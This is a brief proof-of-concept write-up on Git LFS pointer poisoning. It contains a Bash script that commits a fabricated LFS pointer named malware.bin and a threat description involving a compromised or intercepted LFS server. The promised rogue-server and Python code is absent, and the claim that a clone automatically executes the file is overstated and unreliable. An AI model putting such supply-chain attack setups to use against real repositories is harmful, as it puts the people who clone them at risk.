
Proof-of-concept for Git LFS pointer poisoning, with Bash and Python scripts that create a malicious repository, simulate a rogue LFS server, and trigger code execution.
# create_malicious_repo.sh - Sets up a repo with poisoned LFS pointer
git init
git lfs track "*.bin"
echo "version https://git-lfs.github.com/spec/v1
oid sha256:4142434445464748494a4b4c4d4e4f505152535455565758595a616263646566
size 4" > malware.bin
git add .gitattributes malware.bin
git commit -m "Add LFS file"
A repository uses Git LFS but does not pin the LFS endpoint or verify object hashes after download. An attacker who compromises the LFS server (or can man‑in‑the‑middle) can replace the large file with a malicious one, and the clone will automatically download and potentially execute it.
bash create_malicious_repo.sh
# Then simulate rogue LFS server